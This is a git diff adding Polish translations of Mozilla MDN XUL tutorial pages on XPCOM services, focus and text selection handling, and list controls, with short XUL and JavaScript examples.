+ var aDir = Components.classes["@mozilla.org/file/local;1"]
+ .createInstance(Components.interfaces.nsILocalFile);
+ if (!aDir) return false;
+
+ // next, assign URLs to the file components
+ aFile.initWithPath(sourcefile);
+ aDir.initWithPath(destdir);
+
+ // finally, copy the file, without renaming it
+ aFile.copyTo(aDir,null);
+}
+
+copyFile("/mozilla/testfile.txt","/etc");
+</pre>
+
+<h2 id="Us.C5.82ugi_XPCOM" name="Us.C5.82ugi_XPCOM">Usługi XPCOM</h2>
+
+<p>Niektóre komponenty XPCOM są specjalnymi komponentami nazwanymi usługami. Nie stworzysz ich egzemplarzy ponieważ istnieje tylko jeden. Usługi dostarczają funkcji ogólnych, które albo pobierają albo ustawiają dane globalne lub wykonują działania na innych obiektach. Zamiast wywołania <code>createInstance</code>, wywołujesz <code>getService</code> dla pobrania referencji do komponentu usługi. Usługi nie różnią się bardzo od innych komponentów.</p>
+
+<p>Jedną z takich dostarczonych usług z Mozillą jest usługa zakładek. Pozwala ona dodawać zakładki do bieżącej listy zakładek użytkownika. Przykład jest pokazany poniżej:</p>
+
+<pre>var bmarks = Components.classes["@mozilla.org/browser/bookmarks-service;1"].getService();
+bmarks.QueryInterface(Components.interfaces.nsIBookmarksService);
+bmarks.addBookmarkImmediately("http://www.mozilla.org","Mozilla",0,null);
+</pre>
+
+<p>Najpierw jest wyszukiwany komponent"@mozilla.org/browser/bookmarks-service;1" a jego usługa jest umieszczona w zmiennej <code>bmarks</code>. Użyjemy <code>QueryInterface</code> dla pobrania interfejsu nsIBookmarksService. Funkcja <code>addBookmarkImmediately</code> dostarczana przez ten interfejs może być używana dla dodawania zakładek .Pierwsze dwa parametry tej funkcji są URL'ami zakładek i ich tytułami. Trzeci parametr jest typem zakładki, którym zazwyczaj będzie 0,a ostatni parametr jest typem kodowania znaków dokumentu będącego dodawanym do zakładek, który może być zerem.</p>
+
+<p>Następnie zobaczymy niektóre z interfejsów dostarczanych z Mozillą, jakie możemy zastosować.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Obiekty_pudełka" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Przykłady_XPCOM">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/kontrola_zaznaczenia_i_aktywacji_elementów/index.html b/files/pl/mozilla/tech/xul/kurs_xul/kontrola_zaznaczenia_i_aktywacji_elementów/index.html
new file mode 100644
index 0000000000..c53e06d0af
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/kontrola_zaznaczenia_i_aktywacji_elementów/index.html
@@ -0,0 +1,166 @@
+---
+title: Kontrola zaznaczenia i aktywacji elementów
+slug: Mozilla/Tech/XUL/Kurs_XUL/Kontrola_zaznaczenia_i_aktywacji_elementów
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Focus_and_Selection
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Skróty_klawiaturowe" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Polecenia">Następny »</a></p>
+</div><p></p>
+
+<p>Ten artykuł opisuje, jak obsługiwać kontrolę zaznaczenia i aktywacji elementów.</p>
+
+<h2 id="Elementy_aktywne" name="Elementy_aktywne">Elementy aktywne</h2>
+
+<p>Elementy skupione odnoszą się do elementów, które aktualnie otrzymują zdarzenia wejścia (input events). Jeśli istnieją trzy textboxy w jednym oknie, skupionym nazywamy tego, w którym użytkownik jest aktualnie w stanie wpisać text. Tylko jeden element może być w tej samej chwili skupiony dla danego okna.</p>
+
+<p>Użytkownik może zmienić skupienie poprzez kliknięcie na elemencie przy pomocy myszy lub wciśnięcie klawisza tabulacji TAB. W chwili przyciśnięcia klawisza TAB kolejne elementy okna przejmują skupienie. W celu powrotu do poprzedniego elementu należy użyć kombinacji klawiszy Shifh i Tab.</p>
+
+<h3 id="Rearranging_the_tab_order" name="Rearranging_the_tab_order">Rearranging the tab order</h3>
+
+<p>Możemy także zmienić porządek w którym zmieniać się będzie skupienie elementów danego okna poprzez dodanie atrybutu tabindex dla konkretnego elementu. Ten atrybut powinien być ustawiony jako wartość liczbowa. W chwili przyciśnięcia klawisza TAB, skupienie zostanie przeniesione na element o następnym wyższym indeksie tabulacji. Zazwyczaj jednak nie ma potrzeby ustalania atrybutu tabindex. Jeśli tego nie zrobimy, wciśnięcie TAB ustawi skupienie na kolejnym wyświetlanym elemencie. Poniżej przykład:</p>
+
+<p><span id="Example_1"><a id="Example_1"></a><strong>Example 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_1.xul">Podgląd</a></p>
+
+<pre>&lt;button label="Button 1" tabindex="2"/&gt;
+&lt;button label="Button 2" tabindex="1"/&gt;
+&lt;button label="Button 3" tabindex="3"/&gt;
+</pre>
+
+<h3 id="The_focus_event" name="The_focus_event">The focus event</h3>
+
+<p>Zdarzenie skupienia jest wywoływane w odpowiedzi na ustawienie skupienia dla danego elementu. Zdarzenie rozmycia używane jest natomiast kiedy skupienie zostaje usunięte z danego elementu. Jesteśmy w stanie odpowiedzieć a zmianę skupienie poprzez wykorzystanie atrybutów onfocus i onblur dla konkretnego elementu. Działają one zupełnie jak ich HTML-owi krewni. Wykorzystuje się je najczęściej w celu podświetlania elementów lub wyświetlania tekstu pomocniczego w pasku statusu. Poniższy przykład obrazuje obsługę zdarzenia skupienia.</p>
+
+<p><span id="Example_2"><a id="Example_2"></a><strong>Example 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_2.xul">Podgląd</a></p>
+
+<pre>&lt;script&gt;
+
+function displayFocus(){
+ var elem=document.getElementById('sbar');
+ elem.setAttribute('value','Enter your phone number.');
+}
+
+&lt;/script&gt;
+
+&lt;textbox id="tbox1"/&gt;
+&lt;textbox id="tbox2" onfocus="displayFocus();"/&gt;
+&lt;description id="sbar" value=""/&gt;
+</pre>
+
+<p>Kiedy pojawia się zdarzenie skupienia, zostaje wywołana funkcja displayFocus. Ta funkcja będzie zmieniać wartość pola tekstowego. Można również rozszerzyć ten przykład o usunięcie tekstu w chwili zajścia zdarzenia rozmycia. Typowo, będziemy ustalać zdarzenia skupienia i rozmycia, w celu uaktualniania części interfejsu, w chwili w której użytkownik wybiera elementy. Przykładowo, jesteśmy w stanie uaktualniać pewne pola, w chwili w której wypełniamy inne. Możemy także posłużyć się wspomnianymi zdarzeniami w celu walidacji pewnych wprowadzanych wartości. Nie wyświetlaj alertu w trakcie zdarzeń skupienia bądź rozmycia, ponieważ będzie to odwracało uwagę użytkownika oraz nie spełnia to podstawowych założeń projektowania interfejsu.</p>
+
+<p>Możemy także dynamicznie dodać obsługę zdarzenia, przy użyciu funkcji DOM, a mianowicie <code><a href="pl/DOM/element.addEventListener">addEventListener</a></code>. Możemy jej użyć dla dowolnego elementu i typu zdarzenia. Pobiera ona trzy parametry: typ zdarzenia, funkcję która będzie wykonywana w chwili zajścia zdarzenia oraz wartość boolean określającą czy przejąć zdarzenie czy nie.</p>
+
+<h3 id="Getting_the_currently_focused_element" name="Getting_the_currently_focused_element">Getting the currently focused element</h3>
+
+<p>Element, który aktualnie posiada skupienie jest przetrzymywany w obiekcie zwanym command dispatcher, który istnieje tylko jeden dla danego okna. Command dispatcher jest odpowiedzialny za utrzymywanie skupienia na elemencie, w chwili w której użytkownik korzysta z interfejsu. Command dispatcher posiada także inne zadania, które będą omawiane w poźniejszych sekcjach. Teraz poznamy natomiast cechy command dispatchera powiązane ze skupieniem.</p>
+
+<p>Możemy odzyskiwać command dispatchera z okna, przy użyciu własności dokumentu o nazwie <code>commandDispatcher</code>. Mamy również dostęp do elementu skupienia za pomocą własności dispatchera o nazwie focusedElement. Przykład poniżej.</p>
+
+<p><span id="Example_3"><a id="Example_3"></a><strong>Example 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_3.xul">Podgląd</a></p>
+
+<pre>&lt;window id="focus-example" title="Focus Example"
+ onload="init();"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;script&gt;
+function init(){
+ addEventListener("focus",setFocusedElement,true);
+}
+
+function setFocusedElement(){
+ var focused = document.commandDispatcher.focusedElement;
+ document.getElementById("focused").value = focused.tagName;
+}
+&lt;/script&gt;
+
+&lt;hbox&gt;
+ &lt;label control="username" value="User Name:"/&gt;
+ &lt;textbox id="username"/&gt;
+&lt;/hbox&gt;
+
+&lt;button label="Hello"/&gt;
+&lt;checkbox label="Remember This Decision"/&gt;
+
+&lt;label id="focused" value="-No focus-"/&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p>W tym przykładzie, obsługa zdarzenia skupienia dodana jest do okna. Chcemy użyć obsługi zdarzenia przejęcia, więc będzie nam potrzebna metoda addEventListener. Rejestruje ona obsługę zdarzenia przejęcia dla okna, która to wywoła metodę setFocusedElement. Ta metoda pobiera element skupienia z command dispatchera i ustala etykietę zgodną z nazwą jego znacznika. Kiedy element skupienia się zmienia, etykieta pokaże nazwę znacznika elementu. Warto wspomnieć tu o paru rzeczach. Po pierwsze, kiedy skupienie jest na polu tekstowym nazwa znacznika to "html:input", nie textbox jak można by się spodziewać. Dzieje się tak ponieważ textboxy w języku XUL są zaimplementowane przy pomoc widgetów wejścia HTML. Po drugie, kliknięcie na etykiecie textbox'u zmienia skupienie okna i ustala je na ten właśnie element. Wynika to z faktu, że etykieta posiada atrybut control wskazujący na id textboxu. W końcu, inne etykiety wyświetlające nazwę znacznika nie posiadają atrybutu control, więc klikanie na nie, nie spowoduje żadnego efektu.</p>
+
+<h3 id="Making_a_label_focusable" name="Making_a_label_focusable">Making a label focusable</h3>
+
+<p>Jeśli chcielibyśmy utworzyć szczególne elementy, możemy potrzebować możliwości zmian dotyczących skupienia danego elementu. W tym celu, możemy wykorzystać specjalną własność stylu -moz-user-focus. Ta własność kontroluje możliwość skupienia dla elementu. Przykładowo, można utworzyć etykietę posiadającą możliwość skupienia:</p>
+
+<p><span id="Example_4"><a id="Example_4"></a><strong>Example 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_4.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_4.xul">Podgląd</a></p>
+
+<pre>&lt;label id="focused" style="-moz-user-focus: normal;"
+ onkeypress="alert('Label Focused');" value="Focus Me"/&gt;
+</pre>
+
+<p>Własność stylu jest ustalona na wartość normal. Możemy także ustawić ją tak, aby ignorować skupienie lub wyłączyć możliwość skupienia dla danego elementu. Nie powinna być jednak używana dla dezaktywacji elementu. W tym celu używamy wspomnianych już atrybutu lub własności disabled, ponieważ te opcje projektowane były właśnie z myślą o możliwości dezaktywacji elementu. Wracając do przykładu, kiedy nasza etykieta otrzyma nareszcie skupienie, jest w stanie odpowiadać na wciskanie klawiszy. Naturalnie, nie daje ona oznak skupienia, ponieważ tego typu elementy rzadko są przewidziane do tej właśnie czynności.</p>
+
+<h3 id="Changing_the_focus" name="Changing_the_focus">Changing the focus</h3>
+
+<p>Istnieje kilka sposobów na zmianę skupienia dla danych elementów. Najprostszą jest wywołanie metody focus dla elementu XUL, na którym mamy ustawić wspomniane skupienie. Natomiast, metoda blur może być wykorzystana dla usunięcia skupienia dla danego elementu. Poniżej przykład:</p>
+
+<p><span id="Example_5"><a id="Example_5"></a><strong>Example 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_5.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_focus_5.xul">Podgląd</a></p>
+
+<pre>&lt;textbox id="addr"/&gt;
+
+&lt;button label="Focus" oncommand="document.getElementById('addr').focus()"/&gt;
+</pre>
+
+<p>Możemy również użyć metody advanceFocus oraz rewindFocus na command dispatcherze. Metody te przesuwają skupienie na następny lub poprzedni element w pewnej sekwencji. Właśnie z tych metod korzystamy w chwili w której zostaje wciśnięty TAB lub Shift+Tab.</p>
+
+<p>Dla textboxów, natomiast, istnieje specjalny atrybut focused, który jest dodany zawsze kiedy element posiada skupienie. Można również sprawdzić czy w danej chwili wspomniany atrybut jest obecny. Możemy to zrobić dzięki skryptom, bądź arkuszom stylów. Atrybut ten będzie posiadał wartość true, jeśli textbox posiada skupienie, w przeciwnym przypadku atrybut będzie zwyczajnie nieobecny.</p>
+
+<p><b>Suppose you wanted to move the focus from where it currently is, to the next place the browser thinks it should be. A user typically does this by hitting the "Tab" key. You can do this anywhere you have a XUL browser document by simply:</b></p>
+
+<pre> document.commandDispatcher.advanceFocus();
+</pre>
+
+<p><b>In fact, the commandDispatcher simply implements the nsIDOMXULCommandDispatcher interface. There are other functions that may be of interested to you when dealing with focus.</b></p>
+
+<h2 id="Obs.C5.82uga_zmiany_tekstu" name="Obs.C5.82uga_zmiany_tekstu">Obsługa zmiany tekstu</h2>
+
+<p>Istnieją dwa zdarzenia, które mogą być użyte kiedy użytkownik zmienia wartość znajdującą się w polu tekstowym. Naturalnie, zdarzenia te będą wysyłane tylko do tego textboxa, który aktualnie posiada skupienie. Zdarzenia wejścia (input) są uruchamiane zawsze kiedy tekst jest modyfikowany. Nowe wartości będą różniły się od starych. Możemy także chcieć skorzystać z tych wydarzeń, zastępując nimi zdarzenia związane z klawiszami (key), ponieważ niektóre z klawiszy (np: Shift) nie zmieniają wartości. Także zdarzenie wejścia (input) nie zostanie uruchomione w przypadku, kiedy wciśnięty zostanie klawisz danego znaku oraz kiedy istnieje już maksymalna liczba znaków mieszczących się w polu tekstowym.</p>
+
+<p>Natomiast zdarzenie zmiany (change event) działa podobnie. I ono jest uruchamiane tylko wtedy kiedy zachodzą jakieś zmiany dla danego pola. Jednak rozpoczyna swoją pracę tylko raz kiedy pole tekstowe traci skupienie. Jedno uruchomienie dla zestawu zmian.</p>
+
+<h2 id="Zaznaczanie_tekstu" name="Zaznaczanie_tekstu">Zaznaczanie tekstu</h2>
+
+<p>Podczas pracy z textboxem, możemy chcieć odzyskać część zawartości pola, tą którą zaznaczył użytkownik. Możemy również chcieć zmienić obecne zaznaczenie.</p>
+
+<p>Textboxy XUL, wspierają sposób na odzyskiwanie i modyfikację zaznaczenia. Najprostszym jest zaznaczenie całości tekstu w polu tekstowym. Robimy to dzięki metodzie select wywoływanej dla textboxa.</p>
+
+<pre>tbox.select();
+</pre>
+
+<p>Jednak, możemy sobie zażyczyć wyboru tylko części tekstu. W tym celu korzystamy z funkcji setSelectionRange. Pobiera ona dwa parametry, pierwszy to znak rozpoczynający, a drugi to znak, który następuje po ostatnim znajdującym się w zaznaczeniu. Wartości porządkowe zaczynają się od zera, tak więc pierwszy znak ma wartość 0, drugi 1 itd.</p>
+
+<pre>tbox.setSelectionRange(4,8);
+</pre>
+
+<p>Ten przykład zaznaczy piąty wyświetlany znak, oraz 6, 7 oraz 8. Jeśli było tylko 6 znaków wprowadzonych do pola, tylko 5 oraz 6 znak będą zaznaczone. Nie wystąpi natomiast żaden błąd.</p>
+
+<p>Jeśli ustalisz tą samą wartość dla obu parametrów, start i koniec zaznaczenia, zmieniają pozycję na tą samą zgodną z powyższą wartością. W rezultacie daje nam to zmiany pozycji kursora wewnątrz textboxu. Przykładowo, poniższa linijka kodu przenosi kursor na początek tekstu.</p>
+
+<pre>tbox.setSelectionRange(0,0);
+</pre>
+
+<p>Jesteśmy w stanie odzyskać obecne zaznaczenie poprzez użycie własności <code>selectionStart</code> i <code>selectionEnd</code>. Te własności są ustawione na pozycje początkową i końcową zaznaczenie. W przypadku jeśli obie ustawione są na tą samą wartość, nie istnieje zaznaczenie, ale za to otrzymujemy informację na temat obecnej pozycji kursora. Kiedy mamy dostęp do pozycji startowej i końcowej, jesteśmy w stanie pobrać substring z całego tekstu.</p>
+
+<p>Zawartość pola tekstowego możemy odzyskiwać oraz modyfikować poprzez wykorzystanie własności <code>value</code>.</p>
+
+<p>Jedną z dodatkowych i przydatnych własności pola tekstowego jest <code>textLength</code>, która przetrzymuje całkowitą liczbę znaków znajdujących się w polu.</p>
+
+<p>Następnie, dowiemy się jak stosować <a href="pl/Kurs_XUL/Polecenia">polecenia</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Skróty_klawiaturowe" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Polecenia">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/kontrolki_list/index.html b/files/pl/mozilla/tech/xul/kurs_xul/kontrolki_list/index.html
new file mode 100644
index 0000000000..7bea2c7538
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/kontrolki_list/index.html
@@ -0,0 +1,140 @@
+---
+title: Kontrolki list
+slug: Mozilla/Tech/XUL/Kurs_XUL/Kontrolki_list
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/List_Controls
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Kontrolki_numeryczne" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Paski_postępu">Następny »</a></p>
+</div>
+<p></p><p>XUL posiada kilka typów elementów do tworzenia pól list.
+</p>
+<h3 id="Pola_listy" name="Pola_listy">Pola listy </h3>
+<p>Pola listy stosuje się do wyświetlania kilku pozycji w liście. Użytkownik ma możliwość wybierania dowolnych pozycji z takiej listy.
+</p><p>XUL udostępnia dwa typy elementów do tworzenia list, element <code><a href="pl/XUL/listbox">listbox</a></code> do tworzenia list wielowierszowych oraz element <code><a href="pl/XUL/menulist">menulist</a></code> do list rozwijanych. Działają w podobny sposób do elementu <code>select</code> znanego z HTML-a, który wykonuje obie funkcje, ale elementy XUL posiadają więcej dodatkowych cech. </p><p>Najprostsze pole listy stosuje element <code><a href="pl/XUL/listbox">listbox</a></code> dla określenia swojego pola oraz element <code><a href="pl/XUL/listitem">listitem</a></code> dla każdej pozycji. Na przykład: pole listy będzie zawierało cztery wiersze, jeden dla każdej pozycji.
+</p><p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_1.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:lists1.png"></div>
+<pre>&lt;listbox&gt;
+ &lt;listitem label="Butter Pecan"/&gt;
+ &lt;listitem label="Chocolate Chip"/&gt;
+ &lt;listitem label="Raspberry Ripple"/&gt;
+ &lt;listitem label="Squash Swirl"/&gt;
+&lt;/listbox&gt;
+</pre>
+<p>Podobnie jak w przypadku elementu <code>option</code> z HTML-a możliwe jest powiązanie wartości każdej pozycji poprzez użycie atrybutu <code>value</code>. Następnie możemy stosować wartości w skryptach. Pole listy domyślnie przyjmuje odpowiedni rozmiar, ale możemy go kontrolować atrybutem <code><code id="a-rows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/rows">rows</a></code></code>. Ustaw go na odpowiednią liczbę wierszy (<code>rows</code>), aby wyświetlić je w polu listy. Pasek przewijania użytkownik zastosuje, jeśli będą do wyświetlenia dodatkowe wiersze. </p><p>Poniższy przykład prezentuje te dodatkowe cechy: </p><p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_2.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:lists2-ex.png"></div>
+<pre>&lt;listbox rows="3"&gt;
+ &lt;listitem label="Butter Pecan" value="bpecan"/&gt;
+ &lt;listitem label="Chocolate Chip" value="chocchip"/&gt;
+ &lt;listitem label="Raspberry Ripple" value="raspripple"/&gt;
+ &lt;listitem label="Squash Swirl" value="squash"/&gt;
+&lt;/listbox&gt;
+</pre>
+<p>Przykład został przystosowany do wyświetlania tylko trzech wierszy na raz. Do każdej pozycji listy zostały też dodane wartości. Pola list posiadają kilka dodatkowych cech, które opiszemy później.
+</p>
+<h3 id="Wielokolumnowe_pola_listy" name="Wielokolumnowe_pola_listy"> Wielokolumnowe pola listy </h3>
+<p>Pole listy obsługuje również wiele kolumn. Każda komórka może posiadać dowolną zawartość, chociaż najczęściej jest stosowany tekst. Kiedy użytkownik wybiera pozycję na liście, zaznaczany zostaje cały wiersz. Nie ma możliwości wybrania pojedynczej komórki.
+</p><p>Dwa znaczniki służą do określania kolumn w polu listy. Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listcols" title="listcols">listcols</a></code></code> przechowuje informację o kolumnach, z których każda określona jest przy pomocy elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code></code>. Dla każdej kolumny należy stosować jeden element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code></code>.
+</p><p>Dla każdej komórki w wierszu możemy stosować element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code></code>. Jeśli chcesz mieć trzy kolumny, będziesz musiał dodać trzy elementy <code>listcell</code> wewnątrz każdego <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code></code>. Do określenia tekstu zawartego w komórce umieść atrybut <code>label</code> w <code>listcell</code>. W prostym przypadku, gdy jest tylko jedna kolumna, atrybut <code>label</code> możemy kierować bezpośrednio do elementu <code>listitem</code> i w ogóle nie korzystać z elementu <code>listcell</code>, jak to widzieliśmy we wcześniejszym przykładzie.
+</p><p>Następujący przykład jest polem listy z dwoma kolumnami i trzema wierszami:
+</p><p><span id="Example_3"><a id="Example_3"></a><strong>Example 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_3.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:morelists0.png"></div>
+<pre>&lt;listbox&gt;
+ &lt;listcols&gt;
+ &lt;listcol/&gt;
+ &lt;listcol/&gt;
+ &lt;/listcols&gt;
+ &lt;listitem&gt;
+ &lt;listcell label="Grzegorz"/&gt;
+ &lt;listcell label="Malarz"/&gt;
+ &lt;/listitem&gt;
+ &lt;listitem&gt;
+ &lt;listcell label="Maria"/&gt;
+ &lt;listcell label="Producent świeczek"/&gt;
+ &lt;/listitem&gt;
+ &lt;listitem&gt;
+ &lt;listcell label="Robert"/&gt;
+ &lt;listcell label="Spawacz"/&gt;
+ &lt;/listitem&gt;
+&lt;/listbox&gt;
+</pre>
+<h3 id="Wiersz_nag.C5.82.C3.B3wka" name="Wiersz_nag.C5.82.C3.B3wka"> Wiersz nagłówka </h3>
+<p>Pola listy pozwalają również na zastosowanie specjalnego wiersza nagłówka. Pod wieloma względami jest zwyczajnym wierszem z tym wyjątkiem, że wyświetla się go w odmienny sposób. Zastosujemy go do utworzenia nagłówka kolumn. Zastosujemy dwa nowe składniki. </p><p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listhead" title="listhead">listhead</a></code></code> stosuje się w wierszach nagłówka, tak samo jak element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code></code> w tradycyjnych wierszach. Jednakże nagłówek wiersza nie jest kiedykolwiek normalnym wierszem, więc stosujemy skrypt, aby pobrać pierwszy wiersz w polu listy, będzie pomijał wiersz nagłówka. </p><p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listheader" title="listheader">listheader</a></code></code> stosujemy dla każdej komórki wiersza nagłówka. Stosując atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> do ustawienia etykiety dla wszystkich komórek nagłówka.
+</p><p>Oto wcześniejszy przykład z wierszem nagłówka:
+</p><p><span id="Przyk%C5%82ad_4"><a id="Przyk%C5%82ad_4"></a><strong>Przykład 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_4.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_4.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:Morelists1.png"></div>
+<pre>&lt;listbox&gt;
+
+ &lt;listhead&gt;
+ &lt;listheader label="Imię"/&gt;
+ &lt;listheader label="Zawód"/&gt;
+ &lt;/listhead&gt;
+
+ &lt;listcols&gt;
+ &lt;listcol/&gt;
+ &lt;listcol flex="1"/&gt;
+ &lt;/listcols&gt;
+
+ &lt;listitem&gt;
+ &lt;listcell label="Grzegorz"/&gt;
+ &lt;listcell label="Malarz"/&gt;
+ &lt;/listitem&gt;
+ &lt;listitem&gt;
+ &lt;listcell label="Maria"/&gt;
+ &lt;listcell label="Producent świeczek"/&gt;
+ &lt;/listitem&gt;
+ &lt;listitem&gt;
+ &lt;listcell label="Robert"/&gt;
+ &lt;listcell label="Spawacz"/&gt;
+ &lt;/listitem&gt;
+
+&lt;/listbox&gt;
+</pre>
+<p>W tym przykładzie atrybut <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code> zastosowano do utworzenia elastycznej kolumny. Atrybut ten będzie opisany w dalszych artykułach, lecz w tym artykule pozwala kolumnie zająć całą dostępną wolną przestrzeń w poziomie. Możemy zmieniać rozmiar okna, aby zobaczyć, że obszary kolumny rozciągają się razem z oknem. Jeśli zmniejszymy okno w poziomie, etykieta znajdująca się w komórce zostanie automatycznie skrócona i zakończona wielokropkiem. Możemy także zastosować atrybut <code><code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code></code> do komórek lub pozycji ustawiając je na wartość <code>none</code>, aby wyłączyć użycie wielokropka.
+</p>
+<h3 id="Listy_rozwijane" name="Listy_rozwijane">Listy rozwijane </h3>
+<p>W HTML-u listy rozwijane tworzymy za pomocą elementu <code>select</code>. Użytkownik widzi pojedyncze pole tekstowe wyboru i może kliknąć strzałkę lub podobny przycisk obok tego pola tekstowego, aby zaznaczyć inną pozycję. Pozostałe możliwości będą dostępne w wyskakującym oknie. XUL posiada element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code>, który ma tą własność. Utworzony jest on z pola tekstowego z przyciskiem obok. Taka nazwa została wybrana, ponieważ okienka wyskakują z menu listy rozwijanej, dającej możliwość wyboru.
+</p><p>Do zdefiniowania listy rozwijanej potrzebne są trzy elementy. Pierwszym jest element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code>, który tworzy pole tekstowe z przyciskiem przy nim. Drugi element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> tworzy okienko pojawiające się po kliknięciu przycisku. Trzecim jest element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code> tworzący poszczególne pozycje. </p><p>Składna poniżej najlepiej przedstawia przykład listy rozwijanej: </p><p><span id="Przyk%C5%82ad_5"><a id="Przyk%C5%82ad_5"></a><strong>Przykład 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_5.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_5.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:inputs2.png"></div>
+<pre>&lt;menulist label="Autobus"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Auto"/&gt;
+ &lt;menuitem label="Taxi"/&gt;
+ &lt;menuitem label="Autobus" selected="true"/&gt;
+ &lt;menuitem label="Pociąg"/&gt;
+ &lt;/menupopup&gt;
+&lt;/menulist&gt;
+</pre>
+<p>W tym przypadku lista rozwijana składa się z czterech pozycji do wyboru, jeden dla każdego elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code>. Aby wyświetlić pozycje listy, kliknij w przycisk strzałki na liście. Kiedy jedna pozycja jest zaznaczona, to pojawiająca się pozycja jest wybrana z listy. Atrybut <code>selected</code> stosuje się do wskazania wartości, która jest zaznaczona domyślnie.
+</p>
+<h4 id="Lista_menu_do_edycji" name="Lista_menu_do_edycji"> Lista menu do edycji </h4>
+<p>Domyślnie możemy tylko zaznaczyć pozycję do wybrania z listy. Nie możemy wprowadzić własnego tekstu. Wariant pozwalający na edycję tekstu w polach listy rozwijanej. Na przykład, pole adresu URL w przeglądarce posiada rozwijaną listę do wybierania wcześniej wpisywanych adresów URL, ale pozwala także na wpisywanie własnych.
+</p><p>Aby utworzyć edytowaną listę rozwijaną, dodaj atrybut <code><code id="a-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/editable">editable</a></code></code> w sposób pokazany poniżej:
+</p><p><span id="Przyk%C5%82ad_6"><a id="Przyk%C5%82ad_6"></a><strong>Przykład 6</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_6.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_6.xul">Podgląd</a>
+</p>
